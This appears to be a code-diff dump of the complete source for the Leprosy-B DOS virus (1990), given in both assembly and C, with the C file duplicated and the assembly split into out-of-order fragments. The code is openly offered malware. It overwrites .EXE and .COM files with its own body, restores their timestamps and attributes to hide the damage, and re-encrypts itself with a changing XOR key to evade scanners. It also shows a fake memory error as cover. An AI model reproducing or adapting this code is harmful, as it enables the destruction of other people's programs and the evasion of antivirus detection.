virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
|
||||
virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
|
||||
virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
|
||||
virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
|
||||
compare_buf db 20 dup (?) ; Buffer to compare files in
|
||||
files_found db ?
|
||||
files_infected db ?
|
||||
orig_time dw ?
|
||||
orig_date dw ?
|
||||
orig_attr dw ?
|
||||
handle dw ?
|
||||
success db ?
|
||||
|
||||
random_mutation: ; First decide if virus is to mutate
|
||||
mov ah,2ch ; Set up DOS function to get time
|
||||
int 21h
|
||||
cmp encrypt_val,0 ; Is this a first-run virus copy?
|
||||
je install_val ; If so, install whatever you get.
|
||||
cmp dh,15 ; Is it less than 16 seconds?
|
||||
jg find_extension ; If not, don't mutate this time
|
||||
install_val:
|
||||
cmp dl,0 ; Will we be encrypting using zero?
|
||||
je random_mutation ; If so, get a new value.
|
||||
mov encrypt_val,dl ; Otherwise, save the new value
|
||||
find_extension: ; Locate file w/ valid extension
|
||||
mov files_found,0 ; Count infected files found
|
||||
mov files_infected,4 ; BX counts file infected so far
|
||||
mov success,0
|
||||
find_exe:
|
||||
mov cx,00100111b ; Look for all flat file attributes
|
||||
mov dx,offset exe_filespec ; Check for .EXE extension first
|
||||
mov ah,4eh ; Call DOS find first service
|
||||
int 21h
|
||||
cmp ax,12h ; Are no files found?
|
||||
je find_com ; If not, nothing more to do
|
||||
call find_healthy ; Otherwise, try to find healthy .EXE
|
||||
find_com:
|
||||
mov cx,00100111b ; Look for all flat file attributes
|
||||
mov dx,offset com_filespec ; Check for .COM extension now
|
||||
mov ah,4eh ; Call DOS find first service
|
||||
int 21h
|
||||
cmp ax,12h ; Are no files found?
|
||||
je chdir ; If not, step back a directory
|
||||
call find_healthy ; Otherwise, try to find healthy .COM
|
||||
chdir: ; Routine to step back one level
|
||||
mov dx,offset newdir ; Load DX with address of pathname
|
||||
mov ah,3bh ; Change directory DOS service
|
||||
int 21h
|
||||
dec files_infected ; This counts as infecting a file
|
||||
jnz find_exe ; If we're still rolling, find another
|
||||
jmp exit_virus ; Otherwise let's pack it up
|
||||
find_healthy:
|
||||
mov bx,dta ; Point BX to address of DTA
|
||||
mov ax,[bx]+attribute ; Get the current file's attribute
|
||||
mov orig_attr,ax ; Save it
|
||||
mov ax,[bx]+timestamp ; Get the current file's time stamp
|
||||
mov orig_time,ax ; Save it
|
||||
mov ax,[bx]+datestamp ; Get the current file's data stamp
|
||||
mov orig_date,ax ; Save it
|
||||
mov dx,dta+filename ; Get the filename to change attribute
|
||||
mov cx,0 ; Clear all attribute bytes
|
||||
mov al,1 ; Set attribute sub-function
|
||||
mov ah,43h ; Call DOS service to do it
|
||||
int 21h
|
||||
mov al,2 ; Set up to open handle for read/write
|
||||
mov ah,3dh ; Open file handle DOS service
|
||||
int 21h
|
||||
mov handle,ax ; Save the file handle
|
||||
mov bx,ax ; Transfer the handle to BX for read
|
||||
mov cx,20 ; Read in the top 20 bytes of file
|
||||
mov dx,offset compare_buf ; Use the small buffer up top
|
||||
mov ah,3fh ; DOS read-from-handle service
|
||||
int 21h
|
||||
mov bx,offset compare_buf ; Adjust the encryption value
|
||||
mov ah,encrypt_val ; for accurate comparison
|
||||
mov [bx+6],ah
|
||||
mov si,code_start ; One array to compare is this file
|
||||
mov di,offset compare_buf ; The other array is the buffer
|
||||
mov ax,ds ; Transfer the DS register...
|
||||
mov es,ax ; ...to the ES register
|
||||
cld
|
||||
repe cmpsb ; Compare the buffer to the virus
|
||||
jne healthy ; If different, the file is healthy!
|
||||
call close_file ; Close it up otherwise
|
||||
inc files_found ; Chalk up another fucked up file
|
||||
continue_search:
|
||||
mov ah,4fh ; Find next DOS function
|
||||
int 21h ; Try to find another same type file
|
||||
cmp ax,12h ; Are there any more files?
|
||||
je no_more_found ; If not, get outta here
|
||||
jmp find_healthy ; If so, try the process on this one!
|
||||
no_more_found:
|
||||
ret ; Go back to where we came from
|
||||
healthy:
|
||||
mov bx,handle ; Get the file handle
|
||||
mov ah,3eh ; Close it for now
|
||||
int 21h
|
||||
mov ah,3dh ; Open it again, to reset it
|
||||
mov dx,dta+filename
|
||||
mov al,2
|
||||
int 21h
|
||||
mov handle,ax ; Save the handle again
|
||||
call infect_file ; Infect the healthy file
|
||||
call close_file ; Close down this operation
|
||||
inc success ; Indicate we did something this time
|
||||
dec files_infected ; Scratch off another file on agenda
|
||||
jz exit_virus ; If we're through, terminate
|
||||
jmp continue_search ; Otherwise, try another
|
||||
ret
|
||||
close_file:
|
||||
mov bx,handle ; Get the file handle off the stack
|
||||
mov cx,orig_time ; Get the date stamp
|
||||
mov dx,orig_date ; Get the time stamp
|
||||
mov al,1 ; Set file date/time sub-service
|
||||
mov ah,57h ; Get/Set file date and time service
|
||||
int 21h ; Call DOS
|
||||
mov bx,handle
|
||||
mov ah,3eh ; Close handle DOS service
|
||||
int 21h
|
||||
mov cx,orig_attr ; Get the file's original attribute
|
||||
mov al,1 ; Instruct DOS to put it back there
|
||||
mov dx,dta+filename ; Feed it the filename
|
||||
mov ah,43h ; Call DOS
|
||||
int 21h
|
||||
ret
|
||||
exit_virus:
|
||||
cmp files_found,6 ; Are at least 6 files infected?
|
||||
jl print_fake ; If not, keep a low profile
|
||||
cmp success,0 ; Did we infect anything?
|
||||
jg print_fake ; If so, cover it up
|
||||
mov ah,09h ; Use DOS print string service
|
||||
mov dx,offset virus_msg1 ; Load the address of the first line
|
||||
int 21h ; Print it
|
||||
mov dx,offset virus_msg2 ; Load the second line
|
||||
int 21h ; (etc)
|
||||
mov dx,offset virus_msg3
|
||||
int 21h
|
||||
mov dx,offset virus_msg4
|
||||
int 21h
|
||||
jmp terminate
|
||||
print_fake:
|
||||
mov ah,09h ; Use DOS to print fake error message
|
||||
mov dx,offset fake_msg
|
||||
int 21h
|
||||
terminate:
|
||||
mov ah,4ch ; DOS terminate process function
|
||||
int 21h ; Call DOS to get out of this program
|
||||
|
||||
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
|
||||
|
||||
main endp
|
||||
code ends
|
||||
end main
|
||||
|
||||
@@ -0,0 +1,217 @@
|
||||
/* This file is part of the source code to the LEPROSY Virus 1.00
|
||||
Copy-ya-right (c) 1990 by PCM2. This program can cause destruction
|
||||
of files; you're warned, the author assumes no responsibility
|
||||
for damage this program causes, incidental or otherwise. This
|
||||
program is not intended for general distribution -- irresponsible
|
||||
users should not be allowed access to this program, or its
|
||||
accompanying files. (Unlike people like us, of course...)
|
||||
*/
|
||||
|
||||
|
||||
#pragma inline
|
||||
|
||||
#define CRLF "\x17\x14" /* CR/LF combo encrypted. */
|
||||
#define NO_MATCH 0x12 /* No match in wildcard search. */
|
||||
|
||||
|
||||
/* The following strings are not garbled; they are all encrypted */
|
||||
/* using the simple technique of adding the integer value 10 to */
|
||||
/* each character. They are automatically decrypted by */
|
||||
/* 'print_s()', the function which sends the strings to 'stdout' */
|
||||
/* using DOS service 09H. All are terminated with a dollar-sign */
|
||||
/* "$" as per DOS service specifications. */
|
||||
|
||||
char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
|
||||
char *virus_msg[3] =
|
||||
{
|
||||
CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
|
||||
CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
|
||||
CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
|
||||
};
|
||||
|
||||
|
||||
|
||||
struct _dta /* Disk Transfer Area format for find. */
|
||||
{
|
||||
char findnext[21];
|
||||
char attribute;
|
||||
int timestamp;
|
||||
int datestamp;
|
||||
long filesize;
|
||||
char filename[13];
|
||||
} *dta = (struct _dta *) 0x80; /* Set it to default DTA. */
|
||||
|
||||
|
||||
const char filler[] = "XX"; /* Pad file length to 666 bytes. */
|
||||
const char *codestart = (char *) 0x100; /* Memory where virus code begins. */
|
||||
const int virus_size = 666; /* The size in bytes of the virus code. */
|
||||
const int infection_rate = 4; /* How many files to infect per run. */
|
||||
|
||||
char compare_buf[20]; /* Load program here to test infection. */
|
||||
int handle; /* The current file handle being used. */
|
||||
int datestamp, timestamp; /* Store original date and time here. */
|
||||
char diseased_count = 0; /* How many infected files found so far. */
|
||||
char success = 0; /* How many infected this run. */
|
||||
|
||||
|
||||
/* The following are function prototypes, in keeping with ANSI */
|
||||
/* Standard C, for the support functions of this program. */
|
||||
|
||||
int find_first( char *fn );
|
||||
int find_healthy( void );
|
||||
int find_next( void );
|
||||
int healthy( void );
|
||||
void infect( void );
|
||||
void close_handle( void );
|
||||
void open_handle( char *fn );
|
||||
void print_s( char *s );
|
||||
void restore_timestamp( void );
|
||||
|
||||
|
||||
|
||||
/*----------------------------------*/
|
||||
/* M A I N P R O G R A M */
|
||||
/*----------------------------------*/
|
||||
|
||||
int main( void ) {
|
||||
int x = 0;
|
||||
do {
|
||||
if ( find_healthy() ) { /* Is there an un-infected file? */
|
||||
infect(); /* Well, then infect it! */
|
||||
x++; /* Add one to the counter. */
|
||||
success++; /* Carve a notch in our belt. */
|
||||
}
|
||||
else { /* If there ain't a file here... */
|
||||
_DX = (int) ".."; /* See if we can step back to */
|
||||
_AH = 0x3b; /* the parent directory, and try */
|
||||
asm int 21H; /* there. */
|
||||
x++; /* Increment the counter anyway, to */
|
||||
} /* avoid infinite loops. */
|
||||
} while( x < infection_rate ); /* Do this until we've had enough. */
|
||||
if ( success ) /* If we got something this time, */
|
||||
print_s( fake_msg ); /* feed 'em the phony error line. */
|
||||
else
|
||||
if ( diseased_count > 6 ) /* If we found 6+ infected files */
|
||||
for( x = 0; x < 3; x++ ) /* along the way, laugh!! */
|
||||
print_s( virus_msg[x] );
|
||||
else
|
||||
print_s( fake_msg ); /* Otherwise, keep a low profile. */
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
void infect( void ) {
|
||||
_DX = (int) dta->filename; /* DX register points to filename. */
|
||||
_CX = 0x00; /* No attribute flags are set. */
|
||||
_AL = 0x01; /* Use Set Attribute sub-function. */
|
||||
_AH = 0x43; /* Assure access to write file. */
|
||||
asm int 21H; /* Call DOS interrupt. */
|
||||
open_handle( dta->filename ); /* Re-open the healthy file. */
|
||||
_BX = handle; /* BX register holds handle. */
|
||||
_CX = virus_size; /* Number of bytes to write. */
|
||||
_DX = (int) codestart; /* Write program code. */
|
||||
_AH = 0x40; /* Set up and call DOS. */
|
||||
asm int 21H;
|
||||
restore_timestamp(); /* Keep original date & time. */
|
||||
close_handle(); /* Close file. */
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
int find_healthy( void ) {
|
||||
if ( find_first("*.EXE") != NO_MATCH ) /* Find EXE? */
|
||||
if ( healthy() ) /* If it's healthy, OK! */
|
||||
return 1;
|
||||
else
|
||||
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
|
||||
if ( healthy() )
|
||||
return 1; /* If you find one, great! */
|
||||
if ( find_first("*.COM") != NO_MATCH ) /* Find COM? */
|
||||
if ( healthy() ) /* If it's healthy, OK! */
|
||||
return 1;
|
||||
else
|
||||
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
|
||||
if ( healthy() )
|
||||
return 1; /* If you find one, great! */
|
||||
return 0; /* Otherwise, say so. */
|
||||
}
|
||||
|
||||
|
||||
|
||||
int healthy( void ) {
|
||||
int i;
|
||||
datestamp = dta->datestamp; /* Save time & date for later. */
|
||||
timestamp = dta->timestamp;
|
||||
open_handle( dta->filename ); /* Open last file located. */
|
||||
_BX = handle; /* BX holds current file handle. */
|
||||
_CX = 20; /* We only want a few bytes. */
|
||||
_DX = (int) compare_buf; /* DX points to the scratch buffer. */
|
||||
_AH = 0x3f; /* Read in file for comparison. */
|
||||
asm int 21H;
|
||||
restore_timestamp(); /* Keep original date & time. */
|
||||
close_handle(); /* Close the file. */
|
||||
for ( i = 0; i < 20; i++ ) /* Compare to virus code. */
|
||||
if ( compare_buf[i] != *(codestart+i) )
|
||||
return 1; /* If no match, return healthy. */
|
||||
diseased_count++; /* Chalk up one more fucked file. */
|
||||
return 0; /* Otherwise, return infected. */
|
||||
}
|
||||
|
||||
|
||||
void restore_timestamp( void ) {
|
||||
_AL = 0x01; /* Keep original date & time. */
|
||||
_BX = handle; /* Same file handle. */
|
||||
_CX = timestamp; /* Get time & date from DTA. */
|
||||
_DX = datestamp;
|
||||
_AH = 0x57; /* Do DOS service. */
|
||||
asm int 21H;
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
void print_s( char *s ) {
|
||||
char *p = s;
|
||||
while ( *p ) { /* Subtract 10 from every character. */
|
||||
*p -= 10;
|
||||
p++;
|
||||
}
|
||||
_DX = (int) s; /* Set DX to point to adjusted string. */
|
||||
_AH = 0x09; /* Set DOS function number. */
|
||||
asm int 21H; /* Call DOS interrupt. */
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
int find_first( char *fn ) {
|
||||
_DX = (int) fn; /* Point DX to the file name. */
|
||||
_CX = 0xff; /* Search for all attributes. */
|
||||
_AH = 0x4e; /* 'Find first' DOS service. */
|
||||
asm int 21H; /* Go, DOS, go. */
|
||||
return _AX; /* Return possible error code. */
|
||||
}
|
||||
|
||||
|
||||
int find_next( void ) {
|
||||
_AH = 0x4f; /* 'Find next' function. */
|
||||
asm int 21H; /* Call DOS. */
|
||||
return _AX; /* Return any error code. */
|
||||
}
|
||||
|
||||
|
||||
void open_handle( char *fn ) {
|
||||
_DX = (int) fn; /* Point DX to the filename. */
|
||||
_AL = 0x02; /* Always open for both read & write. */
|
||||
_AH = 0x3d; /* "Open handle" service. */
|
||||
asm int 21H; /* Call DOS. */
|
||||
handle = _AX; /* Assume handle returned OK. */
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
void close_handle( void ) {
|
||||
_BX = handle; /* Load BX register w/current file handle. */
|
||||
_AH = 0x3e; /* Set up and call DOS service. */
|
||||
asm int 21H;
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,216 @@
|
||||
/* This file is part of the source code to the LEPROSY Virus 1.00
|
||||
Copy-ya-right (c) 1990 by PCM2. This program can cause destruction
|
||||
of files; you're warned, the author assumes no responsibility
|
||||
for damage this program causes, incidental or otherwise. This
|
||||
program is not intended for general distribution -- irresponsible
|
||||
users should not be allowed access to this program, or its
|
||||
accompanying files. (Unlike people like us, of course...)
|
||||
*/
|
||||
|
||||
|
||||
#pragma inline
|
||||
|
||||
#define CRLF "\x17\x14" /* CR/LF combo encrypted. */
|
||||
#define NO_MATCH 0x12 /* No match in wildcard search. */
|
||||
|
||||
|
||||
/* The following strings are not garbled; they are all encrypted */
|
||||
/* using the simple technique of adding the integer value 10 to */
|
||||
/* each character. They are automatically decrypted by */
|
||||
/* 'print_s()', the function which sends the strings to 'stdout' */
|
||||
/* using DOS service 09H. All are terminated with a dollar-sign */
|
||||
/* "$" as per DOS service specifications. */
|
||||
|
||||
char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
|
||||
char *virus_msg[3] =
|
||||
{
|
||||
CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
|
||||
CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
|
||||
CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
|
||||
};
|
||||
|
||||
|
||||
|
||||
struct _dta /* Disk Transfer Area format for find. */
|
||||
{
|
||||
char findnext[21];
|
||||
char attribute;
|
||||
int timestamp;
|
||||
int datestamp;
|
||||
long filesize;
|
||||
char filename[13];
|
||||
} *dta = (struct _dta *) 0x80; /* Set it to default DTA. */
|
||||
|
||||
|
||||
const char filler[] = "XX"; /* Pad file length to 666 bytes. */
|
||||
const char *codestart = (char *) 0x100; /* Memory where virus code begins. */
|
||||
const int virus_size = 666; /* The size in bytes of the virus code. */
|
||||
const int infection_rate = 4; /* How many files to infect per run. */
|
||||
|
||||
char compare_buf[20]; /* Load program here to test infection. */
|
||||
int handle; /* The current file handle being used. */
|
||||
int datestamp, timestamp; /* Store original date and time here. */
|
||||
char diseased_count = 0; /* How many infected files found so far. */
|
||||
char success = 0; /* How many infected this run. */
|
||||
|
||||
|
||||
/* The following are function prototypes, in keeping with ANSI */
|
||||
/* Standard C, for the support functions of this program. */
|
||||
|
||||
int find_first( char *fn );
|
||||
int find_healthy( void );
|
||||
int find_next( void );
|
||||
int healthy( void );
|
||||
void infect( void );
|
||||
void close_handle( void );
|
||||
void open_handle( char *fn );
|
||||
void print_s( char *s );
|
||||
void restore_timestamp( void );
|
||||
|
||||
|
||||
|
||||
/*----------------------------------*/
|
||||
/* M A I N P R O G R A M */
|
||||
/*----------------------------------*/
|
||||
|
||||
int main( void ) {
|
||||
int x = 0;
|
||||
do {
|
||||
if ( find_healthy() ) { /* Is there an un-infected file? */
|
||||
infect(); /* Well, then infect it! */
|
||||
x++; /* Add one to the counter. */
|
||||
success++; /* Carve a notch in our belt. */
|
||||
}
|
||||
else { /* If there ain't a file here... */
|
||||
_DX = (int) ".."; /* See if we can step back to */
|
||||
_AH = 0x3b; /* the parent directory, and try */
|
||||
asm int 21H; /* there. */
|
||||
x++; /* Increment the counter anyway, to */
|
||||
} /* avoid infinite loops. */
|
||||
} while( x < infection_rate ); /* Do this until we've had enough. */
|
||||
if ( success ) /* If we got something this time, */
|
||||
print_s( fake_msg ); /* feed 'em the phony error line. */
|
||||
else
|
||||
if ( diseased_count > 6 ) /* If we found 6+ infected files */
|
||||
for( x = 0; x < 3; x++ ) /* along the way, laugh!! */
|
||||
print_s( virus_msg[x] );
|
||||
else
|
||||
print_s( fake_msg ); /* Otherwise, keep a low profile. */
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
void infect( void ) {
|
||||
_DX = (int) dta->filename; /* DX register points to filename. */
|
||||
_CX = 0x00; /* No attribute flags are set. */
|
||||
_AL = 0x01; /* Use Set Attribute sub-function. */
|
||||
_AH = 0x43; /* Assure access to write file. */
|
||||
asm int 21H; /* Call DOS interrupt. */
|
||||
open_handle( dta->filename ); /* Re-open the healthy file. */
|
||||
_BX = handle; /* BX register holds handle. */
|
||||
_CX = virus_size; /* Number of bytes to write. */
|
||||
_DX = (int) codestart; /* Write program code. */
|
||||
_AH = 0x40; /* Set up and call DOS. */
|
||||
asm int 21H;
|
||||
restore_timestamp(); /* Keep original date & time. */
|
||||
close_handle(); /* Close file. */
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
int find_healthy( void ) {
|
||||
if ( find_first("*.EXE") != NO_MATCH ) /* Find EXE? */
|
||||
if ( healthy() ) /* If it's healthy, OK! */
|
||||
return 1;
|
||||
else
|
||||
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
|
||||
if ( healthy() )
|
||||
return 1; /* If you find one, great! */
|
||||
if ( find_first("*.COM") != NO_MATCH ) /* Find COM? */
|
||||
if ( healthy() ) /* If it's healthy, OK! */
|
||||
return 1;
|
||||
else
|
||||
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
|
||||
if ( healthy() )
|
||||
return 1; /* If you find one, great! */
|
||||
return 0; /* Otherwise, say so. */
|
||||
}
|
||||
|
||||
|
||||
|
||||
int healthy( void ) {
|
||||
int i;
|
||||
datestamp = dta->datestamp; /* Save time & date for later. */
|
||||
timestamp = dta->timestamp;
|
||||
open_handle( dta->filename ); /* Open last file located. */
|
||||
_BX = handle; /* BX holds current file handle. */
|
||||
_CX = 20; /* We only want a few bytes. */
|
||||
_DX = (int) compare_buf; /* DX points to the scratch buffer. */
|
||||
_AH = 0x3f; /* Read in file for comparison. */
|
||||
asm int 21H;
|
||||
restore_timestamp(); /* Keep original date & time. */
|
||||
close_handle(); /* Close the file. */
|
||||
for ( i = 0; i < 20; i++ ) /* Compare to virus code. */
|
||||
if ( compare_buf[i] != *(codestart+i) )
|
||||
return 1; /* If no match, return healthy. */
|
||||
diseased_count++; /* Chalk up one more fucked file. */
|
||||
return 0; /* Otherwise, return infected. */
|
||||
}
|
||||
|
||||
|
||||
void restore_timestamp( void ) {
|
||||
_AL = 0x01; /* Keep original date & time. */
|
||||
_BX = handle; /* Same file handle. */
|
||||
_CX = timestamp; /* Get time & date from DTA. */
|
||||
_DX = datestamp;
|
||||
_AH = 0x57; /* Do DOS service. */
|
||||
asm int 21H;
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
void print_s( char *s ) {
|
||||
char *p = s;
|
||||
while ( *p ) { /* Subtract 10 from every character. */
|
||||
*p -= 10;
|
||||
p++;
|
||||
}
|
||||
_DX = (int) s; /* Set DX to point to adjusted string. */
|
||||
_AH = 0x09; /* Set DOS function number. */
|
||||
asm int 21H; /* Call DOS interrupt. */
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
int find_first( char *fn ) {
|
||||
_DX = (int) fn; /* Point DX to the file name. */
|
||||
_CX = 0xff; /* Search for all attributes. */
|
||||
_AH = 0x4e; /* 'Find first' DOS service. */
|
||||
asm int 21H; /* Go, DOS, go. */
|
||||
return _AX; /* Return possible error code. */
|
||||
}
|
||||
|
||||
|
||||
int find_next( void ) {
|
||||
_AH = 0x4f; /* 'Find next' function. */
|
||||
asm int 21H; /* Call DOS. */
|
||||
return _AX; /* Return any error code. */
|
||||
}
|
||||
|
||||
|
||||
void open_handle( char *fn ) {
|
||||
_DX = (int) fn; /* Point DX to the filename. */
|
||||
_AL = 0x02; /* Always open for both read & write. */
|
||||
_AH = 0x3d; /* "Open handle" service. */
|
||||
asm int 21H; /* Call DOS. */
|
||||
handle = _AX; /* Assume handle returned OK. */
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
void close_handle( void ) {
|
||||
_BX = handle; /* Load BX register w/current file handle. */
|
||||
_AH = 0x3e; /* Set up and call DOS service. */
|
||||
asm int 21H;
|
||||
return;
|
||||
}
|
||||
@@ -0,0 +1,242 @@
|
||||
; <LEPROSYB.ASM> - Leprosy-B Virus Source
|
||||
; Copy-ya-right (c) 1990 by PCM2.
|
||||
;
|
||||
; This file is the source code to the Leprosy-B virus. It should
|
||||
; be assembled with an MASM-compatible assembler; it has been tested
|
||||
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
|
||||
; It should be made into a .COM file before executing, with either
|
||||
; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
|
||||
;
|
||||
; This program has the potential to permanently destroy executable
|
||||
; images on any disk medium. Other modifications may have been made
|
||||
; subsequent to the original release by the author, either benign,
|
||||
; or which could result in further harm should this program be run.
|
||||
; In any case, the author assumes no responsibility for any damage
|
||||
; caused by this program, incidental or otherwise. As a precaution,
|
||||
; this program should not be turned over to irresponsible hands...
|
||||
; (unlike people like us, that is).
|
||||
|
||||
|
||||
title "Leprosy-B Virus by PCM2, August 1990"
|
||||
|
||||
cr equ 13 ; Carriage return ASCII code
|
||||
lf equ 10 ; Linefeed ASCII code
|
||||
tab equ 9 ; Tab ASCII code
|
||||
virus_size equ 666 ; Size of the virus file
|
||||
code_start equ 100h ; Address right after PSP in memory
|
||||
dta equ 80h ; Addr of default disk transfer area
|
||||
datestamp equ 24 ; Offset in DTA of file's date stamp
|
||||
timestamp equ 22 ; Offset in DTA of file's time stamp
|
||||
filename equ 30 ; Offset in DTA of ASCIIZ filename
|
||||
attribute equ 21 ; Offset in DTA of file attribute
|
||||
|
||||
|
||||
code segment 'code' ; Open code segment
|
||||
assume cs:code,ds:code ; One segment for both code & data
|
||||
org code_start ; Start code image after PSP
|
||||
|
||||
;---------------------------------------------------------------------
|
||||
; All executable code is contained in boundaries of procedure "main".
|
||||
; The following code, until the start of "virus_code", is the non-
|
||||
; encrypted CMT portion of the code to load up the real program.
|
||||
;---------------------------------------------------------------------
|
||||
main proc near ; Code execution begins here
|
||||
call encrypt_decrypt ; Decrypt the real virus code
|
||||
jmp random_mutation ; Put the virus into action
|
||||
|
||||
encrypt_val db 00h ; Hold value to encrypt by here
|
||||
|
||||
; ---------- Encrypt, save, and restore the virus code -----------
|
||||
infect_file:
|
||||
mov bx,handle ; Get the handle
|
||||
push bx ; Save it on the stack
|
||||
call encrypt_decrypt ; Encrypt most of the code
|
||||
pop bx ; Get back the handle
|
||||
mov cx,virus_size ; Total number of bytes to write
|
||||
mov dx,code_start ; Buffer where code starts in memory
|
||||
mov ah,40h ; DOS write-to-handle service
|
||||
int 21h ; Write the virus code into the file
|
||||
call encrypt_decrypt ; Restore the code as it was
|
||||
ret ; Go back to where you came from
|
||||
|
||||
; --------------- Encrypt or decrypt the virus code ----------------
|
||||
encrypt_decrypt:
|
||||
mov bx,offset virus_code ; Get address to start encrypt/decrypt
|
||||
xor_loop: ; Start cycle here
|
||||
mov ah,[bx] ; Get the current byte
|
||||
xor ah,encrypt_val ; Engage/disengage XOR scheme on it
|
||||
mov [bx],ah ; Put it back where we got it
|
||||
inc bx ; Move BX ahead a byte
|
||||
cmp bx,offset virus_code+virus_size ; Are we at the end?
|
||||
jle xor_loop ; If not, do another cycle
|
||||
ret ; and go back where we came from
|
||||
|
||||
;-----------------------------------------------------------------------
|
||||
; The rest of the code from here on remains encrypted until run-time,
|
||||
; using a fundamental XOR technique that changes via CMT.
|
||||
;-----------------------------------------------------------------------
|
||||
virus_code:
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; All strings are kept here in the file, and automatically encrypted.
|
||||
; Please don't be a lamer and change the strings and say you wrote a virus.
|
||||
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
|
||||
; changes, even when the strings stay the same.
|
||||
;----------------------------------------------------------------------------
|
||||
exe_filespec db "*.EXE",0
|
||||
com_filespec db "*.COM",0
|
||||
newdir db "..",0
|
||||
fake_msg db cr,lf,"Program too big to fit in memory$"
|
||||
virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
|
||||
virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
|
||||
virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
|
||||
virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
|
||||
compare_buf db 20 dup (?) ; Buffer to compare files in
|
||||
files_found db ?
|
||||
files_infected db ?
|
||||
orig_time dw ?
|
||||
orig_date dw ?
|
||||
orig_attr dw ?
|
||||
handle dw ?
|
||||
success db ?
|
||||
|
||||
random_mutation: ; First decide if virus is to mutate
|
||||
mov ah,2ch ; Set up DOS function to get time
|
||||
int 21h
|
||||
cmp encrypt_val,0 ; Is this a first-run virus copy?
|
||||
je install_val ; If so, install whatever you get.
|
||||
cmp dh,15 ; Is it less than 16 seconds?
|
||||
jg find_extension ; If not, don't mutate this time
|
||||
install_val:
|
||||
cmp dl,0 ; Will we be encrypting using zero?
|
||||
je random_mutation ; If so, get a new value.
|
||||
mov encrypt_val,dl ; Otherwise, save the new value
|
||||
find_extension: ; Locate file w/ valid extension
|
||||
mov files_found,0 ; Count infected files found
|
||||
mov files_infected,4 ; BX counts file infected so far
|
||||
mov success,0
|
||||
find_exe:
|
||||
mov cx,00100111b ; Look for all flat file attributes
|
||||
mov dx,offset exe_filespec ; Check for .EXE extension first
|
||||
mov ah,4eh ; Call DOS find first service
|
||||
int 21h
|
||||
cmp ax,12h ; Are no files found?
|
||||
je find_com ; If not, nothing more to do
|
||||
call find_healthy ; Otherwise, try to find healthy .EXE
|
||||
find_com:
|
||||
mov cx,00100111b ; Look for all flat file attributes
|
||||
mov dx,offset com_filespec ; Check for .COM extension now
|
||||
mov ah,4eh ; Call DOS find first service
|
||||
int 21h
|
||||
cmp ax,12h ; Are no files found?
|
||||
je chdir ; If not, step back a directory
|
||||
call find_healthy ; Otherwise, try to find healthy .COM
|
||||
chdir: ; Routine to step back one level
|
||||
mov dx,offset newdir ; Load DX with address of pathname
|
||||
mov ah,3bh ; Change directory DOS service
|
||||
int 21h
|
||||
dec files_infected ; This counts as infecting a file
|
||||
jnz find_exe ; If we're still rolling, find another
|
||||
jmp exit_virus ; Otherwise let's pack it up
|
||||
find_healthy:
|
||||
mov bx,dta ; Point BX to address of DTA
|
||||
mov ax,[bx]+attribute ; Get the current file's attribute
|
||||
mov orig_attr,ax ; Save it
|
||||
mov ax,[bx]+timestamp ; Get the current file's time stamp
|
||||
mov orig_time,ax ; Save it
|
||||
mov ax,[bx]+datestamp ; Get the current file's data stamp
|
||||
mov orig_date,ax ; Save it
|
||||
mov dx,dta+filename ; Get the filename to change attribute
|
||||
mov cx,0 ; Clear all attribute bytes
|
||||
mov al,1 ; Set attribute sub-function
|
||||
mov ah,43h ; Call DOS service to do it
|
||||
int 21h
|
||||
mov al,2 ; Set up to open handle for read/write
|
||||
mov ah,3dh ; Open file handle DOS service
|
||||
int 21h
|
||||
mov handle,ax ; Save the file handle
|
||||
mov bx,ax ; Transfer the handle to BX for read
|
||||
mov cx,20 ; Read in the top 20 bytes of file
|
||||
mov dx,offset compare_buf ; Use the small buffer up top
|
||||
mov ah,3fh ; DOS read-from-handle service
|
||||
int 21h
|
||||
mov bx,offset compare_buf ; Adjust the encryption value
|
||||
mov ah,encrypt_val ; for accurate comparison
|
||||
mov [bx+6],ah
|
||||
mov si,code_start ; One array to compare is this file
|
||||
mov di,offset compare_buf ; The other array is the buffer
|
||||
